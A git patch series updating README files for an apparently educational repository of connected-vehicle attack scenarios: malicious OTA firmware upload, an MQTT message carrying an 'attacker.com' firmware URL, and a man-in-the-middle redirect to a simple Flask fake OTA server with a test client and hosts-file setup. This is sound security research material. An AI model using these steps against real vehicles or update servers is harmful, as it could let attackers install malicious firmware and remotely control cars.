From ba989dc429b6891f89b4bfdec14a0d06ee052ab3 Mon Sep 17 00:00:00 2001 From: ppp830 Date: Fri, 2 May 2025 09:09:31 +0900 Subject: [PATCH 1/3] Update README.md --- .../supply_chain_attack/README.md | 51 ++++++++++++++++--- 1 file changed, 45 insertions(+), 6 deletions(-) diff --git a/attack_scenarios/supply_chain_attack/README.md b/attack_scenarios/supply_chain_attack/README.md index 046a119..99dc29e 100644 --- a/attack_scenarios/supply_chain_attack/README.md +++ b/attack_scenarios/supply_chain_attack/README.md @@ -3,21 +3,60 @@ ## 공격 시나리오 1: 정식 OTA 파일 업로드 웹페이지를 통해 악성 코드 업데이트 [Level 1] ### 공격 시나리오 전제 조건 -파일을 업로드하는 웹사이트의 URL IP 주소값(혹은 도메인)을 공격자가 획득한 것으로 가정한다. + +- 파일을 업로드하는 웹사이트의 URL IP 주소값(혹은 도메인)을 공격자가 획득한 것으로 가정한다. +- OTA 서버에 업로드된 파일을 검증하는 무결성 검사, 서명 확인 절차가 존재하지 않는다. +- OTA 서버에서 업로드된 파일은 인증되지 않은 차량에게도 배포 가능한 구조라고 가정한다. +- 프록시 서버는 이미 공격자가 장악한 상태로 트래픽 감시랑 변조가 가능하다. +- OTA 업데이트 파일이 차량의 통신 모듈로 전송될 때의 IP 주소를 알려주는 응답을 가로챌 수 있고, 재지정이 가능하다. ### 공격 시나리오 수행 방법 + +#### 1단계(가정): 정상 OTA 서버에 파일 업로드 +- 공격자는 차량 ECU에 악성 동작을 유발할 수 있는 .bin 확장자의 악성 펌웨어 파일을 사전 생성한다. +- OTA 서버는 업로드된 펌웨어 파일을 업데이트 대상 리스트에 자동 등록한다. +- 업데이트가 되었다는 공지를 한다. + +#### 2단계: 차량 통신 모듈이 OTA 서버에 요청 전송 +- OTA 대상 차량은 ota.com를 통해 OTA 공지 및 파일을 확인한다. +- OTA 서버는 정상처럼 보이는 응답을 반환하고, 공격자가 업로드한 악성 OTA 파일의 경로를 함께 전달한다. +- OTA 통신은 암호화나 서버 인증 없이 이루어지고 있다고 가정한다. + +#### 3단계: 차량이 악성 OTA 파일 다운로드 +- 차량의 통신 모듈은 OTA 서버로부터 응답받은 경로에 접근해 악성 .bin 파일을 그대로 다운로드한다. +- 이 파일은 헤더/버전/파일 구조가 정상 파일과 유사하여 차량은 이를 정상 업데이트 파일로 인식한다. + +#### 4단계: ECU가 악성 OTA 파일 설치 +- 차량 통신 모듈은 해당 파일을 각 ECU에 배포하고 ECU는 디지털 서명 검증이나 버전 비교 없이 그대로 설치한다. + 1. 공격자는 타겟 ECU에 주입할 악성 펌웨어/소프트웨어에 해당하는 .bin 파일을 생성한다. 2. OTA 파일을 업로드하는 정식 웹사이트를 통해 .bin 파일을 업로드한다. 3. 인증이 없는 차량은 해당 악성 파일을 설치한다. + --- ## 공격 시나리오 2: MQTT broker에 악성 코드 혹은 URL publishing [Level 1] ### 공격 시나리오 전제 조건 -인증된 차량 해킹 하여 OEM에서 활용 중인 MQTT Broker의 IP를 획득한 것으로 가정한다. + +- 공격자는 인증된 차량을 해킹하여 OEM에서 사용하는 MQTT Broker 주소(IP)를 확보한 상태로 가정한다. +- MQTT 서버는 topic 권한 검증 또는 payload 필터링 기능이 없는 상태로 운영된다. ### 공격 시나리오 수행 방법 -1. MQTT broker에 악성 파일 혹은 펌웨어/소프트웨어 다운로드 URL을 publish 한다. -2. Broker는 해당 정보를 topic이 일치하는 차량 전체에 방송한다. -3. 인증이 없는 차량은 해당 악성 파일을 설치한다. ---- + +#### 1단계: 공격자가 MQTT Broker에 악성 데이터 publish +- 공격자는 악성 OTA 파일을 직접 보내는 것이 아니라 OTA 파일을 다운받을 수 있는 URL을 특정 topic에 publish한다. + 예: `{"ota_url": "http://attacker.com/fake.bin"}` + +#### 2단계: Broker가 전체 차량에게 메시지 broadcast +- MQTT Broker는 해당 topic을 구독하고 있는 모든 차량에 해당 데이터를 broadcast한다. +- OTA 관련 topic(`ota/update/announce`)에 대한 인증이나 무결성 검증이 생략된다. + +#### 3단계: 차량이 악성 URL의 OTA 파일을 다운로드 +- 차량 통신 모듈은 수신된 메시지에 포함된 URL로 접근한다. +- 정상으로 위장된 악성 OTA 파일을 다운로드한다. +- 이때 공격자는 Flask 기반 가짜 OTA 서버를 운영중이다. + +#### 4단계: 차량이 악성 OTA 파일 설치 +- 차량은 받은 파일을 정상 OTA 파일로 오인하고 각 ECU에 배포한다. +- ECU는 무결성 검증 없이 설치를 진행하며 악성 명령이 실행되어 원격 제어나 시스템 오작동이 발생할 수 있다. From 3efe719aabacb2a8a48daf78466411092980c5e5 Mon Sep 17 00:00:00 2001 From: ppp830 Date: Fri, 2 May 2025 17:05:14 +0900 Subject: [PATCH 2/3] Update README.md --- .../scenario_PYL/README.md | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md b/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md index 8b13789..948ce52 100644 --- a/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md +++ b/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md @@ -1 +1,49 @@ +### [Prerequisite: Attacker's perspective] +- The vehicle communication module requests the server address based on the domain name. +- The proxy server is already under the control of the attacker, so it can monitor and modify traffic. +- The response that informs the IP address when the OTA update file is transmitted to the vehicle's communication module can be intercepted and reassigned. +- The OTA server is not secured. +### Step 1 (Assumption): File update to the OTA server +- Upload the firmware file to a normal OTA server. +- The OTA server registers it in a downloadable path. +- It notifies that the update has been made. + +### Step 2 (Assumption): The vehicle communication module sends an OTA request +- The vehicle communication module sends an OTA request to the [ota.com](http://ota.com) domain. +- At this time, the server's IP address must be confirmed to receive the OTA file, so a process of confirming the server address (IP) occurs. +- The attacker intercepts the **response that informs the IP address of the server when requesting OTA** from the proxy server and manipulates the response to send his server IP address to the vehicle. +- The proxy monitors the traffic transmitted in the network layer, and when a request to confirm the server address is detected, it forges the response to respond with the attacker's IP address. + +### Step 3: Attacker operates a fake OTA server +- The attacker provides a fake OTA file from his web server. +- The vehicle communication module receives the malicious file by the attacker. +- It copies the format (size, header, version structure) similar to the actual OTA file and inserts malicious commands/functions in the middle. +- In other words, the vehicle communication module recognizes the OTA update file as a normal file. + +### Step 4: Vehicle communication module downloads the fake OTA file +- The vehicle communication module downloads the OTA file from the server connected to the forged IP. +- It receives the file with a status similar to a normal response. +- The communication module in the vehicle distributes the fake file to the ECU, and the ECU applies the file without separate integrity verification. +- Malicious commands are executed and abnormal behavior is triggered, allowing remote control and subsequent attacks. + +In an environment where OTA server authentication, file signing, and encryption are not applied due to low security level where even integrity verification does not exist, an attacker can easily manipulate the request path and deliver a fake OTA file. + + +```python +# Used to create a web server using a Python tool called Flask. +from flask import Flask, send_file + +# Starting the Flask web server +app = Flask(__name__) + +# When a vehicle makes a request to the '/ota' address, the function below is executed. +@app.route("/ota") +def send_fake_file(): + # 'fake_ota_update.bin'이라는 파일을 다운로드하게 함 + return send_file("fake_ota_update.bin", as_attachment=True) + +# Run the server on port 8000 (so any vehicle can access it) +if __name__ == "__main__": + app.run(host="0.0.0.0", port=8000) +``` \ No newline at end of file From 0505396664ecd1812a78315042451ebc1919a930 Mon Sep 17 00:00:00 2001 From: ppp830 Date: Wed, 7 May 2025 21:05:16 +0900 Subject: [PATCH 3/3] Update README.md --- .../scenario_PYL/README.md | 148 +++++++++++++----- 1 file changed, 112 insertions(+), 36 deletions(-) diff --git a/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md b/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md index 948ce52..28e85a2 100644 --- a/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md +++ b/attack_scenarios/Man-in-the-middle_attack/scenario_PYL/README.md @@ -1,49 +1,125 @@ -### [Prerequisite: Attacker's perspective] -- The vehicle communication module requests the server address based on the domain name. -- The proxy server is already under the control of the attacker, so it can monitor and modify traffic. -- The response that informs the IP address when the OTA update file is transmitted to the vehicle's communication module can be intercepted and reassigned. -- The OTA server is not secured. - -### Step 1 (Assumption): File update to the OTA server -- Upload the firmware file to a normal OTA server. -- The OTA server registers it in a downloadable path. -- It notifies that the update has been made. - -### Step 2 (Assumption): The vehicle communication module sends an OTA request -- The vehicle communication module sends an OTA request to the [ota.com](http://ota.com) domain. -- At this time, the server's IP address must be confirmed to receive the OTA file, so a process of confirming the server address (IP) occurs. -- The attacker intercepts the **response that informs the IP address of the server when requesting OTA** from the proxy server and manipulates the response to send his server IP address to the vehicle. -- The proxy monitors the traffic transmitted in the network layer, and when a request to confirm the server address is detected, it forges the response to respond with the attacker's IP address. - -### Step 3: Attacker operates a fake OTA server -- The attacker provides a fake OTA file from his web server. -- The vehicle communication module receives the malicious file by the attacker. -- It copies the format (size, header, version structure) similar to the actual OTA file and inserts malicious commands/functions in the middle. -- In other words, the vehicle communication module recognizes the OTA update file as a normal file. - -### Step 4: Vehicle communication module downloads the fake OTA file -- The vehicle communication module downloads the OTA file from the server connected to the forged IP. -- It receives the file with a status similar to a normal response. -- The communication module in the vehicle distributes the fake file to the ECU, and the ECU applies the file without separate integrity verification. -- Malicious commands are executed and abnormal behavior is triggered, allowing remote control and subsequent attacks. - -In an environment where OTA server authentication, file signing, and encryption are not applied due to low security level where even integrity verification does not exist, an attacker can easily manipulate the request path and deliver a fake OTA file. +# OTA MITM Attack Simulation +This project simulates a Man-In-The-Middle (MITM) attack on an insecure OTA (Over-The-Air) update system. The attacker intercepts and redirects OTA requests, delivering a malicious update file instead of the legitimate one. + +## Assumptions + +- The attacker has already compromised the proxy server. +- The vehicle’s communication module makes OTA requests using domain names (e.g., `ota.com`). +- The proxy server, under the attacker's control, can inspect and modify traffic. +- The OTA server lacks authentication, integrity checks, and encryption. +- The vehicle does not verify signatures or hashes on received files. + +--- + +## Attack Scenario (Attacker’s Perspective) + +### Step 1: Firmware Update Uploaded to OTA Server (Baseline Assumption) +- The legitimate OTA server hosts a new firmware file. +- It is published at a downloadable URL. +- A notice is sent out that an update is available. + +### Step 2: Vehicle Makes OTA Request +- The vehicle's communication module sends an OTA request to `http://ota.com`. +- To fetch the file, it needs to resolve the domain to an IP. +- The attacker intercepts the IP resolution response and replaces it with the attacker’s server IP. +- From the vehicle’s perspective, `ota.com` now points to the attacker-controlled server. + +### Step 3: Attacker Hosts a Fake OTA Server +- The attacker operates a malicious OTA server that mimics the real one. +- The fake server responds with a crafted `fake_ota_update.bin`. +- The file mimics the format of the real update (headers, version, etc.) but contains malicious code. +- Optionally, the attacker recomputes the hash and signature fields to match the file content. +- Alternatively, the attacker may deliver an old vulnerable version (rollback attack). + +### Step 4: Vehicle Downloads Malicious OTA File +- The vehicle downloads the file, assuming it’s legitimate. +- If integrity verification is skipped or bypassed, the malicious update is accepted. +- The update is passed to the ECU, which applies it without further verification. +- The attacker gains the ability to remotely control or disrupt the vehicle. + +--- + +## Additional Attack Variants + +- **Rollback attack**: Serving outdated vulnerable firmware. +- **Hash collision attack**: Reusing the same hash in the OTA package. +- **Fake version metadata**: Tricking version checks by spoofing metadata. +- **Signed-but-malicious file**: When code signing is not enforced. + +--- + +## Step-by-Step Simulation + +### Step 1: Create a Fake OTA Server ```python -# Used to create a web server using a Python tool called Flask. +# fake_ota_server.py + from flask import Flask, send_file -# Starting the Flask web server app = Flask(__name__) -# When a vehicle makes a request to the '/ota' address, the function below is executed. @app.route("/ota") def send_fake_file(): - # 'fake_ota_update.bin'이라는 파일을 다운로드하게 함 - return send_file("fake_ota_update.bin", as_attachment=True) + return send_file("fake_ota_update.bin", as_attachment=True) -# Run the server on port 8000 (so any vehicle can access it) if __name__ == "__main__": app.run(host="0.0.0.0", port=8000) +``` + +#### Explanation + +- A simple Flask server listens on port 8000. +- When /ota is accessed, it returns the fake binary file. +- The .bin file imitates a real OTA update. + +### Step 2: Simulate the Vehicle's Communication Module + +```python +# vehicle_module.py + +import requests + +url = "http://ota.com:8000/ota" + +print("[Vehicle] Sending OTA update request...") + +response = requests.get(url) + +if response.status_code == 200: + with open("downloaded_ota.bin", "wb") as f: + f.write(response.content) + print("[Vehicle] OTA file received! Saved as downloaded_ota.bin") +else: + print("[Vehicle] Failed to download OTA file. Status code:", response.status_code) +``` + +#### Explanation + +- Sends an HTTP GET request to `http://ota.com:8000/ota`. +- If successful, saves the file as `downloaded_ota.bin`. +- Simulates a vehicle blindly trusting the update file. + +## Configuration (for local testing) +### 1. Modify `hosts` file on your machine (Windows only) +To redirect `ota.com` to your local attacker server: +1. Run Notepad as Administrator +2. Open: `C:\Windows\System32\drivers\etc\hosts` +3. Add the following line: +``` +127.0.0.1 ota.com +``` +4. Save and close + +## Disclaimer +This simulation is for educational and research purposes only. Never use these techniques against real vehicles or systems. Always get permission before performing security testing. + +## File Structure +```graphql +. +├── fake_ota_server.py # Fake OTA server (attacker) +├── vehicle_module.py # Simulated vehicle requesting the OTA file +├── fake_ota_update.bin # Malicious binary (crafted by attacker) +└── README.md # This file ``` \ No newline at end of file